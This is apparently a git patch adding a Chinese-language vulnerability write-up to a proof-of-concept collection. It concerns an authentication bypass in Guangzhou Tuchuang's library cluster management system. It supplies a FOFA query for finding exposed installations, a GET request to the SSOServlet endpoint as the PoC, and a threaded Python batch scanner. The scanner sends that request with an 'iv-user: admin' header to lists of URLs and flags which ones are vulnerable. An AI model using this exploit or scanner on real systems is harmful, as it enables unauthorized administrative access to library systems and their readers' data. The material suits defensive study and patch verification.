From 1bee2419a7cfe1f174deb686425d87a148765a7e Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Thu, 23 Nov 2023 20:33:45 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E5=B9=BF=E5=B7=9E=E5=9B=BE=E5=88=9B?= =?UTF-8?q?=E5=9B=BE=E4=B9=A6=E9=A6=86=E9=9B=86=E7=BE=A4=E7=AE=A1=E7=90=86?= =?UTF-8?q?=E7=B3=BB=E7=BB=9F=E5=AD=98=E5=9C=A8=E6=9C=AA=E6=8E=88=E6=9D=83?= =?UTF-8?q?=E8=AE=BF=E9=97=AE.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 广州图创图书馆集群管理系统存在未授权访问.md | 69 +++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 广州图创图书馆集群管理系统存在未授权访问.md diff --git a/广州图创图书馆集群管理系统存在未授权访问.md b/广州图创图书馆集群管理系统存在未授权访问.md new file mode 100644 index 0000000..62062b2 --- /dev/null +++ b/广州图创图书馆集群管理系统存在未授权访问.md @@ -0,0 +1,69 @@ + +## 广州图创图书馆集群管理系统存在未授权访问 +广州图创图书馆集群管理系统是一款为图书馆设计的综合性管理软件。它能够实现对图书、读者、借阅、归还等方面的管理,同时支持各类图书馆的联合管理,提高了馆藏利用率和服务效率。此外,该系统还具有自动化预约提醒、在线预约、自助借还、智能查询等功能,让读者能够更加便捷地使用图书馆资源。该系统采用分布式架构,具有安全可靠的特点,可以根据不同图书馆的需求进行配置,提供优质的服务。该系统的实现,极大地提高了图书馆的管理效率,为读者提供了更好的服务体验。 +广州图创计算机软件开发有限公司图书馆集群管理系统存在逻辑绕过,攻击者可通过此漏洞登录后台。 + +## Fofa +``` +body="广州图创计算机软件开发有限公司" +``` + +## poc +``` +GET /interlib/common/SSOServlet? HTTP/1.1 +``` + +## 批量检测脚本 +```python +import argparse +import requests +import urllib3 +from concurrent.futures import ThreadPoolExecutor +from urllib3.exceptions import InsecureRequestWarning +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +# Suppress only the single InsecureRequestWarning from urllib3 needed for HTTPS +requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) + +def send_request(url): + headers = { + 'Cache-Control': 'max-age=0', + 'Upgrade-Insecure-Requests': '1', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9', + 'iv-user': 'admin', + 'Connection': 'close' + } + try: + response = requests.get(url + '/interlib/common/SSOServlet?', headers=headers, verify=False) + if response.status_code == 200: + print(f'{url} 存在逻辑绕过漏洞.') + else: + print(f'{url} no.') + except requests.RequestException as e: + print(f'Error scanning {url}: {e}') + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument('-u', '--url', help='Single URL to scan') + parser.add_argument('-r', '--readfile', help='File containing list of URLs to scan') + args = parser.parse_args() + + urls = [] + + if args.url: + urls.append(args.url) + + if args.readfile: + with open(args.readfile, 'r') as file: + urls.extend([line.strip() for line in file.readlines()]) + + with ThreadPoolExecutor(max_workers=15) as executor: + executor.map(send_request, urls) + +if __name__ == "__main__": + main() + +```